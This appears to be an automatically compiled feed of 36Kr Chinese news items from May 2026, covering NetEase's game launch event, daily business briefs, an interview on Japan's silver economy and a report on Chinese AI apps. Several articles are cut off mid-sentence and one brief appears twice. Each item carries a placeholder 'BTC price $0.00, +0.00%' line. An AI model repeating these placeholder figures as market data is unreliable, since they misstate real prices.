《山海奇旅》《山海奇旅》是一款浮岛建设主题的生活模拟类游戏。它首曝于2024年8月，此后一直没有太多动静。相比之下，网易旗下首曝更晚的《星绘友晴天》目前已经推出了PC端先行版。此次《山海奇旅》登上发布会，想必项目在6月份会有新的进度。考虑到该赛道今年腾网米都有相应布局，想必将会展开一场生活类产品的较量。与过去相比，网易游戏的精品化趋势已经相当明显。基于过去十数年的积累，《阴阳师》《梦幻西游》《永劫无间》《逆水寒》《第五人格》《蛋仔派对》《率土之滨》《倩女幽魂》《一梦江湖》等老产品和IP持续稳定迭代，承载着网易游戏的基本盘。他们紧随时代步伐，不断推出契合主流玩法的新内容。同时，网易游戏的新品也分成了两大趋势：一个是基于老IP/老牌工作室衍生而出的新可能，如由率土衍生的《万民长歌：三国》，从《战意》中脱胎而出的《战意：三国》，以及由《第五人格》开发团队创作的《遗忘之海》。另一个则是契合时代主流，探索新趋势和可能性的产品，比较标志性的就是都市题材二游《无限大》——完美世界《异环》的成绩，也已经证明了这条赛道的巨大潜力。

《无限大》而《星绘友晴天》《山海奇旅》也注定会与腾讯《粒粒的小人国》、米哈游《星布谷地》分庭抗礼，真正挖掘出这条赛道仍未被已有产品覆盖的潜力。最重要的是，比起网易以前的强调大范围覆盖的量，这些产品明显在质层面更胜一筹。这些新品未来都不乏成为爆品的可能。此外，比较值得一提的是网易对AI的态度与应用。时至2026年，各家对AI技术的探索都到了一个相对饱和的阶段，并且能够将其熟练地应用在产品玩法的各个领域。比如《万民长歌：三国》的PV就更像是“手搓+AI”的集合体，观感基本还可以，不存在明显的割裂感。而《率土之滨》的短片就像是一段AI漫剧，走轻松幽默路线，但在搞怪之余，他们的短片完成度其实也相当高，少有较为明显的幻觉。此前，《率土之滨》玩家就曾“率土百特曼”加入《率土》“星推计划”，通过手搓游戏AI漫剧，单月收入突破五万。可以说，对于如今的游戏大厂来说，使用AI已是必须坚决执行的战略了。网易在AI领域的布局可以追溯到十余年前的网络安全相关业务，随后伏羲实验室以及AI Lab的成立，也是公司开始大力发展AI技术的标志性事件。 AI作为底层基础设施，不仅能为游戏产品的开发降本增效，也带来了AI NPC互动、AI捏脸新型交互体验。除了自有业务以外，网易还在积极与外部AI厂商合作，尝试将更多模态的AIGC应用到游戏当中，例如他们与 AI 3D大模型公司 VAST合作，将Tripo AI 3D大模型技术引入《蛋仔派对》的UGC创作系统，降低创作门槛并推动玩法创新。当然，使用AI批量生产内容也可能持续引发用户对质量的焦虑，但行业趋势已然如此。从发布会过程来看，网易并不是不避讳这件事，只是AI的潮水正在席卷整个游戏行业，越来越多的中小型工作室已经通过AI证明了技术价值。不想在下一个时代被追赶甚至超越，就一定要在此时积极拥抱未来。于各大游戏厂商而言，现在最合适的选择或许就是把手工制作与AI开发推向两个不同的应用路径——在抽象、搞怪的创意内容上更加下功夫，做出玩家认为“AI无法代替”的内容。同时，持续强化AI生产能力，尽快将其内容质量打造到前沿水平，保证实际应用后，能够完美到不让玩家产生抵触。本文首发“36氪游戏”。

文章来源

标题: 网易520发布会：质量为先，狙击细分赛道
来源: ai
链接: https://36kr.com/p/3817849322964098?f=rss
时间: 2026-05-21 07:00:40 +0800

核心内容

5月20日，2026年『网易游戏520线上发布会』正式举办，公布了40余款游戏及IP的最新动态。其中，520发布会上公布的部分重要新品如下：《遗忘之海》

内容来源：ai 原文链接：https://36kr.com/p/3817849322964098?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T06:01:01.695550+00:00

8点1氪丨英伟达Q1净利润583亿美元；谷歌CEO：Gemini月活跃用户达9亿；寿司郎回应“盘子抽检10抽10脏”

Thu, 21 May 2026 06:00:52 +0000

原文摘要

今日热点导览俄罗斯将延长对中国公民的免签制度张雪首度谈及签约德比斯原因微信再度开放520大额红包，限时1天罗欣药业回应阿奇霉素劣药事件段永平最新持仓公布 TOP3大新闻英伟达：第一财季净利润583亿美元，同比增长211% 36氪获悉，英伟达发布2027财年第一季度财报，财报显示，英伟达第一财季营收816.2亿美元，同比增长85%；净利润583.2亿美元，同比增长211%。谷歌CEO：Gemini月活跃用户达9亿谷歌CEO皮查伊在2026年I/O开发者大会上表示，Gemini AI应用的月活跃用户在过去一年中增长了一倍多，达到9亿人次，日请求量增长超过7倍。他补充称，公司目前每月处理超过3.2千兆个AI token，较一年前的4,800万亿增长约7倍，也远高于2024年5月的9.7万亿水平。皮查伊表示，Gemini的快速增长推动了Alphabet今年股价上涨25%，并使公司进一步巩固其在全球人工智能研究领域的领先地位。（财联社）寿司郎回应“盘子10抽10脏” 针对“杭州一门店被查盘子10抽10脏”一事，5月20日，寿司郎相关负责人向南都湾财社记者表示，公司对此事非常重视，已经按照政府监管部门要求整改完毕。据此前报道，杭州一家寿司郎门店因无证销售冷加工糕点、专间管理多次违规，且餐具清洗消毒不到位，被处以罚没款共计6万余元的行政处罚。据行政处罚决定书记录，2026年1月5日，执法人员到店检查时发现，在刺身专区，用于盛装成品刺身的铝盘存在大量水渍及食物残渣。执法人员现场抽查了10只铝盘，这10只铝盘均存在上述问题。一个月后，因接到消费者投诉举报，执法人员于2月5日再次上门复查。在现场抽查的10件待使用餐具中，仍有6件表面留有饭粒残渣，未洗净。（南方都市报、第一财经）大公司/大事件商务部：中国航空根据自身航空运输发展需要，将按照商业化原则引进200架波音飞机 36氪获悉，商务部美大司负责人解读中美经贸磋商初步成果，按照中美元首达成的重要共识，中国航空根据自身航空运输发展需要，将按照商业化原则引进200架波音飞机。同时，美方将为中方提供充足的发动机、零部件供应保障。三星电子工会推迟罢工据央视新闻，当地时间20日深夜，当天下午再度重启的三星电子劳资谈判结束，双方签署劳资协议暂定方案。三星电子工会一方表示，原定于21日开始进行的大罢工暂缓，工会内部将针对劳资谈判协议暂定方案进行投票，后续行动将视投票结果决定。另据报道，三星电子暂定薪资协议将加薪6.2%，DX（设备体验）部门员工每人将获得价值600万韩元的股票。三星电子工会将于5月23日至28日就暂定薪资协议进行投票。韩国劳动部长表示，三星电子工会与三星在利润分配上达成共识。三星电子劳资双方此前就2026年薪资问题进行了多轮谈判，但双方始终未能彻底解决分歧。（第一财经、央视新闻）豆包客服回应“顾客用豆包预约餐厅”：无法帮用户预订 5月19日，江苏镇江一家鱼庄店在平台上的差评被网友截图传播。写下该差评的用户表示，其通过“正规渠道”预约了该店5月3日18:30的2人餐，预约信息明确，渠道反馈预约成功。该用户称，其到店前多次拨打门店电话但未接通，按预约信息到店后被店员告知“你找豆包预约那你找豆包啊”。对此豆包官方客服回应称，平台暂不支持通过该应用进行实际餐厅预约，且因对话属用户隐私，无法代为向第三方传递信息。部分用户因电话预约困难或存在社交焦虑，转而依赖AI完成全流程服务，误将模拟信息视为有效凭证。（潇湘晨报）俄罗斯将延长对中国公民的免签制度据CCTV国际时讯消息，据塔斯社报道，俄罗斯总统新闻秘书佩斯科夫今天（5月20日）在北京接受采访时表示，俄罗斯将延长对中国公民的免签制度。此前报道：5月20日，外交部发言人郭嘉昆主持例行记者会。总台央视记者提问，普京总统访华期间，中俄双方在便利人员往来领域取得了什么新的成果？郭嘉昆表示，为持续便利中俄人员往来，中方决定将对俄罗斯免签政策延长至2027年12月31日。俄罗斯持普通护照人员来华经商、旅游观光、探亲访友、交流访问，过境不超过30天，可免办签证入境。（CCTV国际时讯）罗欣药业回应阿奇霉素劣药事件 5月20日早间，罗欣药业公告，解释其控股子公司生产销售的注射用阿奇霉素，被山东省药品监督管理局判定为“劣药”，并处以罚没款相关事件。罗欣药业表示，经公司自查，生产及留样环节均符合规范，推测问题可能源于流通储运环节受极端高温影响。整改及内部处理措施方面，罗欣药业指出，即日起停止生产和商业化该产品，已生产库存全部报废处理。对相关管理人员严厉问责，质量负责人被辞退，山东罗欣总经理被降两级处分，并相应调整薪酬。此外，严控储运质量并健全长效机制。据此前报道，5月18日，山东省药监局发布的行政处罚信息显示，罗欣药业因生产销售不符合国家药品标准的注射用阿奇霉素，被处以没收药品609支、没收违法所得6.8万元并处罚款180万元，罚没款合计186.84万元。（每日经济新闻）思迈特软件发布企业级Agent BI白泽 5月20日，思迈特软件正式发布SmartBI白泽V5，主打自主进化、安全可信，直击企业AI应用不敢用、没大用、难落地等痛点。这款业内首创AgentBI产品，采用指标体系+多智能体双轮驱动架构，拥有全链路智能数据分析能力，可打造从智能问数到决策交付的完整闭环，核心场景准确率达 99.9%。现已在金融、制造、央国企等大型企业规模化落地并兑现业务价值。爱尔眼科：已补缴税款3.48亿元、滞纳金1.76亿元爱尔眼科公告，公司根据国家税收法律法规的相关要求，对涉税事项开展了自查。经自查，公司需补缴税款3.48亿元、滞纳金1.76亿元。截至本公告披露日，公司已将上述税款及滞纳金缴纳完毕。根据自查情况，公司需增加2025年度企业所得税汇算清缴纳税申报金额人民币2.32亿元。（财联社）美股三大指数集体收涨，ARM涨超15% 36氪获悉，5月20日收盘，美股三大指数集体上涨，道指涨1.31%，纳指涨1.54%，标普500指数涨1.08%。大型科技股集体上涨，苹果涨超1%，创历史收盘新高；ARM涨超15%，AMD涨超8%，英特尔涨超7%，特斯拉涨超3%，亚马逊涨超2%，英伟达涨超1%，谷歌、微软、Meta小幅上涨；热门中概股涨跌不一，小马智行涨超5%，网易涨超2%，小鹏集团、老虎证券涨超1%；哔哩哔哩跌超8%，蔚来跌超2%，百度、名创优品跌超1%。张雪首度谈及签约德比斯原因：他赛道经验丰富，还能清晰反馈赛车存在的问题近日，张雪机车车队在捷克站拿下双冠后，首次公开聊到签约车手德比斯的缘由。谈及选择他的理由，张雪表示：德比斯赛道经验十分丰富，各类赛道都有实战经历。他最突出的优势在于，骑行中一旦察觉到车辆状态不佳，能够条理清晰地把问题反馈给技师与工程师，这类精准反馈正是调校团队最需要的，便于快速完成车辆调校优化。（南方都市报）华谊兄弟被列为失信被执行人昔日 “中国影视娱乐第一股” 华谊兄弟（华谊300027.SZ）近日因60万案款成老赖。据天

文章来源

标题: 8点1氪丨英伟达Q1净利润583亿美元；谷歌CEO：Gemini月活跃用户达9亿；寿司郎回应“盘子抽检10抽10脏”
来源: ai
链接: https://36kr.com/p/3818280989443202?f=rss
时间: 2026-05-21 07:59:19 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3818280989443202?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T06:00:52.507058+00:00

独家对谈｜谢文博：银发，孤独，一个中日观察者的十八年

Thu, 21 May 2026 06:00:45 +0000

原文摘要

图源：公众号「职场Bonus」（ID：ZhiChangHongLi） “上百次往返，看透存量时代的生存法则。” 谢文博，四川人，聊起他从老家到上海再到日本求学的经历，他说喜欢“把自己放在跳起来才够得着的环境里”。在上海交大材料工程读研二那年，他作为访问学者公派赴日富士施乐做研发。拿到Offer后，三年啃下五篇专利，他发现日本企业有一套"能把普通人管理出好成果"的门道。 2008年，他回国和合伙人一起创办咫尺研学。此后十八年，往返中日上百次，从阿里、京东到万科，他领着各行业的管理者一次次赴日，像外科医生般剖解日式管理的肌理。中国地产商们曾扎堆奔赴日本养老产业，他却看透：养老的本质不是盖楼，而是运营。从实验室到对接中日两国企业的机会翻译者，这条路他走得扎实，也看得通透：日本经验的价值，从来不是照搬，而是在成熟市场找参考，从本土需求找痛点。麻吉有三思，专注为你找到风口里的个人职业坐标👇🏻 以下为访谈实录，部分措辞经《职场Bonus》编辑调整。

日式管理：三年产出五篇专利 ╱ 一银发与孤独：太阳底下无新事 ╱ 二中国未来5-10年，这些机会值得关注 ╱ 三从成熟市场找参考，从本土需求找痛点 ╱ 四

日式管理：三年产出五篇专利麻吉：从四川老家到上海交大，还被公派去日本，你是是天生的学霸吗？谢文博：我很多时候运气很好。当然能进交大本来学习能力肯定不差，但进入交大发现周围都是十分优秀的人。我有一个非常重要的经验，就是人尤其在年轻成长的时候，要始终尝试把自己放在一个，需要跳着才能够到的环境里边，你才会被环境带着成长。麻吉：你觉得2005年的日本和上海，发展差距大概有多大？日本的过去20年对我们有什么参考意义？谢文博：当时的差距大概是20年。2005年的东京，城市风貌、基础设施、社会治理已经非常成熟，之后二十年变化不大；而上海在这二十年里飞速发展，才逐渐追上。日本的经历告诉我们，经济高速增长后会进入存量阶段，企业竞争从规模扩张转向精细化运营，这正是现在中国企业面临的现状。比如日本企业的管理逻辑：把工作拆解成可复制的方法论，既需要人发挥灵活性，又不依赖个体，这种模式特别适合中国中小企业从“野蛮生长”转向“稳健发展”。麻吉：你在富士施乐做研发时，最深的感受是什么？日本企业对于人才的管理有什么不同？谢文博：人会被管理的很"舒服"，最震撼的是可控的产出。当时公司要求正式员工每年产出两篇专利，而我刚刚研究生毕业，觉得这种要求非常非常不可思议，但靠着公司的方法论，最后真的完成了，而且当时做到了三年产出五篇专利。这背后是日本企业既需要人，又不会依赖某一个人的机制。他们不会像德国企业那样追求无人工厂，而是打造一套机制或者说是方法论，让普通人也能稳定输出高质量成果。中国企业尤其是中小企业，往往过度依赖核心员工，一旦人员变动就影响业务，日本的这套机制化思维值得借鉴。

图源：公众号「职场Bonus」（ID：ZhiChangHongLi）银发与孤独：太阳底下无新事麻吉：十年前中国地产企业扎堆去日本考察养老，为什么大多失败了？现在的机会在哪里？谢文博：当时开发商的误区是把养老当成地产项目，觉得修一栋楼就是养老院，但日本的养老院本质是运营服务，而不是地产。日本的养老院几乎没有自己买地盖楼的，都是租物业做运营，核心靠“介护险”支撑，这是日本的强制性保险，覆盖护理服务费用，而中国目前还没有这样的保险体系。现在的机会分两类：一是失能、半失能老人的居家养老服务，比如上门送餐、护理、康复训练，中国有成熟的互联网基础设施，能降低服务成本；二是健康老人的精神消费，这部分完全可以商业化。现在的60后、70后物质需求已满足，有时间、有储蓄，需要全新的产品和服务，比如老年教育、兴趣社群、文化旅游，这是目前中国市场的机会。麻吉：日本的银发经济有哪些成熟的案例可以参考？谢文博：日本的配餐服务特别成熟，针对老年人的咀嚼、营养需求做定制，采用订阅制模式，按月配送，既稳定又能控制成本。中国的外卖体系虽然发达，但缺乏针对老年人的专业化配餐。另外，日本的茑屋书店本质是老年人社区活动中心，为有钱有追求的老年人提供社交与精神消费场景，这种“空间+内容+社交”的模式，中国完全可以借鉴。麻吉：现在中国年轻人的“低欲望”、“活人微死”，和日本的第四消费时代有什么相似之处？谢文博：太阳底下没有新鲜事，中国现在的情况在日本基本都发生过。日本年轻人的低欲望，源于他们出生在经济稳定、物质丰裕的时代，没有经历过匮乏，对物质没有强烈渴求；同时人口萎缩，竞争压力小，缺乏奋斗的动力，再也没有机会去体验在时代快速发展下个人成功的感受了。中国年轻人的情况类似，经济增速放缓，竞争加剧，机会相对减少，自然会出现“躺平”“、低欲望”的状态。但差异也很明显：中国市场足够大，发展不均衡，依然有很多市场机会，比如下沉市场的消费升级、银发经济的细分赛道，这是日本当年没有的优势。年轻人与其陷入焦虑，不如主动寻找细分机会，通过多元化创收。

图源：公众号「职场Bonus」（ID：ZhiChangHongLi）中国未来5-10年，这些机会值得关注麻吉：你觉得未来5-10年，中国和“银发”相关的赛道里，哪些机会一定会爆发？谢文博：银发经济肯定是大方向，但不能笼统说“做养老”，得拆成细分需求。首先是健康老人的精神消费赛道，这是目前最容易落地的。现在60后、70后退休了，房贷还清了，子女独立了，有时间也有储蓄，但市场上没有为他们设计的产品。比如老年教育，不是教广场舞、太极拳，而是教英语、绘画、短视频剪辑，这些能满足他们“自我提升”的需求；还有定制旅游，不是走马观花的跟团游，而是慢节奏的文化游。麻吉：那针对失能、半失能老人的赛道呢？这部分好像更重，需要政策支持。谢文博：这部分确实需要政策兜底，但商业机会也存在，比如居家养老的上门服务。日本有成熟的上门护理、上门配餐体系，中国完全可以借鉴，但要结合我们的优势，比如用互联网平台整合护理人员，按订单分配，降低成本。现在很多大保险公司已经在布局，但真正做精细化运营的还少，这是机会。麻吉：聊聊跨境机会吧，很多人好奇去日本工作的可能性，现在日本的职业缺口有哪些？谢文博：日本现在劳动力严重短缺，最新的应届毕业生就业率是99%，只要想工作，基本都能找到。不过要注意，想在日本长期发展，最好先去留学，从当地大学毕业再就业，比直接从国内过去容易；如果是短期工作，通过正规中介找技术派遣岗位也可行，但要甄别中介的可靠性。另外，日本的自由职业者模式也值得关注，比如

文章来源

标题: 独家对谈｜谢文博：银发，孤独，一个中日观察者的十八年
来源: ai
链接: https://36kr.com/p/3816060007751430?f=rss
时间: 2026-05-21 08:17:32 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3816060007751430?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T06:00:45.264075+00:00

9亿次点击背后，AI应用的真实江湖｜2026中国AI应用全景图谱报告

Thu, 21 May 2026 06:00:38 +0000

原文摘要

有一个问题，值得在2026年认真问一次—— 你上一次用AI应用，是让它回答了一个问题，还是让它完成了一件事？这两个动作之间，隔着一个时代。 2026年，AI应用的产品范式，正在从「聊天」走向「做事」。这不是预言，是已经发生的现实。从「回答」到「执行」，背后的数据是怎样的？推手是什么？有哪些代表企业？为了回答这些问题，量子位智库发布2026年中国AI应用全景图谱报告。

报告中，我们通过2026年中国AI应用全景图谱试图记录当下AI应用变革时刻的横截面。

图谱横跨ToC软硬件、ToB应用、底层开发三大维度，覆盖数百款产品，组成一条完整的AI价值传导链。技术向下渗透，场景向上生长，一个完整的AI产业生态已经成形。生态有多大，数字最诚实根据量子位智库统计，2026年4月，国内AI应用Web端月访问量突破9亿，APP端月下载量超2.4亿，日活同比暴涨223%。

国家统计局数据显示，2026年中国日均Token调用量突破140万亿，两年增长超千倍。中国，已是全球AI应用活跃度最高的国家。但比总量更值得看的，是结构的变化。量子位智库将国内AI应用分为AI智能助手、AI文娱生活、AI效率办公、AI创作四大赛道。在关键的用户活跃和用户留存两项指标面前，不同赛道的表现已经拉出明显差异—— 在用户活跃方面，AI效率Web端用户活跃份额超七成，AI创作APP端日活年增449%，表现亮眼。

流量高涨背后，还有一道更残酷的考题在等着：留存。在用户留存方面，智能助手留存最高，AI文娱赛道呈现黏性两极分化。

用户不会因为「好玩」每天回来。但如果AI嵌进了用户的日常工作流，他就几乎不会离开。这正是2026年最重要的分水岭：从「好玩的AI」到「离不开的AI」。五大趋势重塑行业数据截面之外，是五条正在重塑行业的趋势。 1.Agent化——AI从回答问题进化到完成任务。据统计，Agent单次Token消耗达传统AI百倍。 2026年的AI应用不再满足只做对话框里的答题机，而是逐渐实现主动规划、调用工具、执行多步骤任务。竞争重心已从「谁先做出Agent 」转向「谁能在垂直场景做得更深、留住用户」。

2.模型普惠化——技术红利向应用层转移 Agent能跑起来，离不开另一件事：成本下来了、能力上去了。 DeepSeek V4-Pro API价格仅0.025元/百万tokens，是GPT-5.5的七分之一。同时，以Seedance2.0为代表的视觉多模态生成模型能力突破，也为生成产品打开新的想象力和产品空间。

成本打穿、天花板提高，意味着更多人可以入场。 3.入口化——AI助手变成下一代「操作系统」今年春节，字节、阿里、腾讯、百度四家模型巨头合计砸出超45亿，抢的不是用户，是「需要AI的第一秒打开谁」的本能。谁赢得用户的默认习惯，谁赢得下一个10年。

烧钱抢入口，不禁让人想问：钱能收回来吗？ 4.付费化——AI产品商业模式初步跑通 Kimi K2.5发布不到20天，收入超2025年全年；智谱API提价后调用量反增；豆包上线付费模式。这些标志性商业化节点的发生说明——当AI真正嵌进工作流，用户不需要被说服，付费是自然结果。

C端付费逻辑刚刚跑通，而B端的故事则更深、更慢、也更难被撼动。 5.垂直深化——B端垂直场景AI应用开启规模化渗透医疗、金融、法律或许是渗透最快的三个高价值战场。数据飞轮加私有知识图谱，让老玩家的护城河越筑越深，进场越晚或将越难翻越。

从聊天到「干活」，从尝鲜到「离不开」。 AI应用的这一年，不是终局，是开局。下一个10年，谁会成为入口、谁能跑通付费、谁又能打穿场景、下一波趋势又会是什么？答案，交给时间，也交给用户。获取完整报告从2024年开始，量子位智库搭建自研AI产品库，对国内上千款AI产品进行长期跟踪，推出数据月报、榜单、访谈、沙龙等深度内容。通过年度的《2026中国AI应用全景图谱报告》，我们期望能够通过对产品格局和数据表现的分析呈现，揭示国内AI产业向产品及商业化深水区转变的趋势，为各位读者提供关键决策锚点。完整报告下载链接：https://jkhbjkhb.feishu.cn/wiki/W5D7wuDcbiPXDLkaRLQcAJpOn8f

文章来源

标题: 9亿次点击背后，AI应用的真实江湖｜2026中国AI应用全景图谱报告
来源: ai
链接: https://36kr.com/p/3818450346738823?f=rss
时间: 2026-05-21 11:52:45 +0800

核心内容

报告中，我们通过2026年中国AI应用全景图谱试图记录当下AI应用变革时刻的横截面。

流量高涨背后，还有一道更残酷的考题在等着：留存。在用户留存方面，智能助手留存最高，AI文娱赛道呈现黏性两极分化。

内容来源：ai 原文链接：https://36kr.com/p/3818450346738823?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T06:00:38.081953+00:00

氪星晚报｜2026福布斯中国人工智能科技企业TOP 50发布，中关村科金入选；三星劳资谈判破裂，威刚董事长称DRAM、NAND恐再掀涨价潮；新交所与中国银行签署新版战略合作备忘录

Wed, 20 May 2026 12:00:37 +0000

原文摘要

大公司：新加坡加码人工智能布局，英伟达将落地本地研发中心全球AI芯片巨头英伟达将在新加坡新设研发中心，这也是新加坡周三集中公布的一系列人工智能相关举措之一。这座全新实验室是英伟达在新加坡设立的首个研发据点，同时也是其在亚太地区布局的第二处同类研发机构。（新浪财经） 2026福布斯中国人工智能科技企业TOP 50发布，中关村科金入选 36氪获悉，《2026福布斯中国人工智能科技企业TOP 50》正式揭晓，中关村科金成功入选，是榜单中唯一的“企业级AI平台及应用公司”。据IDC最新报告，中关村科金位列中国大模型平台私有化市场份额第四；在2026年一季度应用类大模型项目公开中标数排名前五。公司服务行业客户超3000家，覆盖金融、政务、汽车、消费零售、企业出海等领域。三星劳资谈判破裂，威刚董事长称DRAM、NAND恐再掀涨价潮三星电子的劳资谈判再度宣告破裂，明天起将举行大罢工。威刚董事长陈立白表示，倘若罢工时长拉长，或将进一步冲击全球DRAM与NAND Flash供货，推动行业价格上行。陈立白称，当前三大存储原厂2026年绝大部分产能早已提前订满售出，不少客户已经开始洽谈2027年及更长期的供货合约。（财联社）云迹科技获全球首个千台级亲子场景智能体订单 36氪获悉，云迹科技近日与深圳中亿集团达成战略合作，旗下UP“小马”骑乘机器人签下千台采购订单。这是全球首个最大规模的亲子公共服务场景机器人智能体订单。亲子场景通过扫码骑乘直接面向C端收费，云迹UP系列产品采用“通用底盘+功能上舱”模块化设计，同一底盘可横跨酒店、商超、亲子等场景，大幅降低跨场景复制成本。新交所与中国银行签署新版战略合作备忘录 36氪获悉，5月19日，新加坡交易所集团（简称“新交所”）与中国银行股份有限公司（简称“中国银行”）签署战略合作备忘录，进一步深化双方长期合作关系。此次深化合作将支持有国际化发展需求的中国企业在新交所首次上市或二次上市，包括来自上海证券交易所和深圳证券交易所的中国企业。中芯国际、华虹集团等成立电子材料国际供应链中心，注册资本2亿 36氪获悉，天眼查App显示，5月20日，上海电子材料国际供应链中心有限公司成立，法定代表人为顾春林，注册资本2亿人民币，经营范围包括互联网销售、电子专用材料销售、电子元器件批发、电子元器件零售等，由中芯国际控股有限公司、华虹集团旗下上海华虹投资发展有限公司、上海华谊控股集团有限公司、上海泓明数智科技有限公司、上海化学工业区企业发展有限公司共同持股。地瓜机器人与千寻智能达成战略合作 36氪获悉，5月20日，地瓜机器人与千寻智能宣布达成战略合作。双方已完成开源VLA模型Spirit v1.5与旭日S600旗舰大算力芯片的深度适配，联合打造高性能、可量产的软硬一体化解决方案。Spirit v1.5是国内首个综合性能超越国际标杆Pi0.5的开源VLA基础模型；旭日S600具备560TOPS（INT8）AI算力，可满足大模型端侧高效推理需求。微软与Proximus NXT合作，推出主权云解决方案 5月20日，微软与Proximus NXT宣布达成战略合作新里程碑，共同为比利时和卢森堡的公共及私营机构开发和部署主权云解决方案。该方案的核心是基于Azure Local的断网运行模式，它允许组织运行可临时或永久与公有云断开的自主云环境，同时保留Azure核心服务，以应对医疗、金融和公共行政等领域对数据主权、合规和业务连续性的高要求。目前，Proximus NXT已在比利时埃韦勒建立测试实验室。（界面新产品：圆周率智能发布 iMLite AI（悟境）端侧实时决策引擎 36氪获悉，今日，圆周率智能正式发布 iMLite AI（悟境）端侧实时决策引擎，聚焦户外智能硬件，覆盖户外、运动、出行三大场景。据了解，iMLite AI引擎实现100%离线独立运行、低功耗硬件适配、本地实时决策，构建“人+空间+行为”端侧决策逻辑。目前，iMLite AI已在50万+真实设备稳定部署，服务数十家B端客户。飞猪推出酒店商家智能助理 36氪获悉，5月20日，飞猪正式推出酒店商家智能助理，向平台上所有酒店免费开放。商家智能助理“上岗”后，一句话即可指挥AI批量调房态、改库存、录发票。它还能进行实时数据分析，向酒店提出科学的价格和库存管理策略参考；发现入住全流程中的服务关键点，帮助酒店优化服务，入住前主动关怀、离店后经营口碑。今日观点：郑栅洁：深入整治“内卷式”竞争，积极扩大有效益的投资 36氪获悉，5月20日，国家发展改革委主任郑栅洁主持召开民营企业座谈会，围绕当前经济形势、有关行业运行新特点新变化新趋势以及宏观政策在微观层面落实情况，听取意见建议。郑栅洁表示，国家发展改革委将深入贯彻党中央、国务院决策部署，全面落实“十五五”规划《纲要》各项任务，用好用足宏观政策，推动科技自立自强、产业链自主可控，深入整治“内卷式”竞争，积极扩大有效益的投资，完善民营企业参与国家重大项目建设长效机制，不断增强经济发展内生动力。其他值得关注的新闻：欧盟就落实欧美贸易协议实施方案达成临时协议欧洲议会国际贸易委员会20日发布声明称，欧洲议会与欧盟成员国当天在法国斯特拉斯堡就落实欧盟-美国贸易协议达成临时协议。根据临时协议，欧盟对美国工业品以及部分农产品、海产品给予关税优惠的相关规定，将于2029年12月31日到期，除非双方决定延长。欧盟同时将设立“保障机制”。如果美国商品进口激增并对欧盟工业或农业造成严重冲击，欧盟委员会可启动调查，并暂停相关优惠措施。在钢铁和铝产品问题上，如果美国到2026年底仍对欧盟钢铁及铝衍生产品维持高于15%的关税，欧盟委员会可暂停部分关税优惠政策。根据程序，欧洲议会国际贸易委员会预计将于6月2日举行特别会议审议相关文本，欧洲议会全会预计于6月中旬进行表决。（央视新闻）外交部：中方决定将对俄罗斯免签政策延长至2027年12月31日今天（5月20日），外交部发言人郭嘉昆主持例行记者会。总台央视记者问，普京总统访华期间，中俄双方在便利人员往来领域取得了什么新的成果？郭嘉昆表示，为持续便利中俄人员往来，中方决定将对俄罗斯免签政策延长至2027年12月31日。俄罗斯持普通护照人员来华经商、旅游观光、探亲访友、交流访问，过境不超过30天，可免办签证入境。（央视新闻）国际能源署：2026年全球近三成新车将为电动车国际能源署5月20日发布的《2026全球电动车展望》报告称，在能源危机背景下，各国政府与消费者正加速转向电动车，预计2026年全球电动车销量将达到2300万辆，占全球新车销量近30%。报告显示，2025年全球电动车销量同比增长20%，首次突破2000万辆，占全球新车销量的四分之一。（央视新闻）

文章来源

标题: 氪星晚报｜2026福布斯中国人工智能科技企业TOP 50发布，中关村科金入选；三星劳资谈判破裂，威刚董事长称DRAM、NAND恐再掀涨价潮；新交所与中国银行签署新版战略合作备忘录
来源: tech
链接: https://36kr.com/p/3816942423000196?f=rss
时间: 2026-05-20 19:40:36 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3816942423000196?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-20T12:00:37.018713+00:00

氪星晚报｜2026福布斯中国人工智能科技企业TOP 50发布，中关村科金入选；三星劳资谈判破裂，威刚董事长称DRAM、NAND恐再掀涨价潮；新交所与中国银行签署新版战略合作备忘录

Wed, 20 May 2026 12:00:30 +0000

原文摘要

大公司：新加坡加码人工智能布局，英伟达将落地本地研发中心全球AI芯片巨头英伟达将在新加坡新设研发中心，这也是新加坡周三集中公布的一系列人工智能相关举措之一。这座全新实验室是英伟达在新加坡设立的首个研发据点，同时也是其在亚太地区布局的第二处同类研发机构。（新浪财经） 2026福布斯中国人工智能科技企业TOP 50发布，中关村科金入选 36氪获悉，《2026福布斯中国人工智能科技企业TOP 50》正式揭晓，中关村科金成功入选，是榜单中唯一的“企业级AI平台及应用公司”。据IDC最新报告，中关村科金位列中国大模型平台私有化市场份额第四；在2026年一季度应用类大模型项目公开中标数排名前五。公司服务行业客户超3000家，覆盖金融、政务、汽车、消费零售、企业出海等领域。三星劳资谈判破裂，威刚董事长称DRAM、NAND恐再掀涨价潮三星电子的劳资谈判再度宣告破裂，明天起将举行大罢工。威刚董事长陈立白表示，倘若罢工时长拉长，或将进一步冲击全球DRAM与NAND Flash供货，推动行业价格上行。陈立白称，当前三大存储原厂2026年绝大部分产能早已提前订满售出，不少客户已经开始洽谈2027年及更长期的供货合约。（财联社）云迹科技获全球首个千台级亲子场景智能体订单 36氪获悉，云迹科技近日与深圳中亿集团达成战略合作，旗下UP“小马”骑乘机器人签下千台采购订单。这是全球首个最大规模的亲子公共服务场景机器人智能体订单。亲子场景通过扫码骑乘直接面向C端收费，云迹UP系列产品采用“通用底盘+功能上舱”模块化设计，同一底盘可横跨酒店、商超、亲子等场景，大幅降低跨场景复制成本。新交所与中国银行签署新版战略合作备忘录 36氪获悉，5月19日，新加坡交易所集团（简称“新交所”）与中国银行股份有限公司（简称“中国银行”）签署战略合作备忘录，进一步深化双方长期合作关系。此次深化合作将支持有国际化发展需求的中国企业在新交所首次上市或二次上市，包括来自上海证券交易所和深圳证券交易所的中国企业。中芯国际、华虹集团等成立电子材料国际供应链中心，注册资本2亿 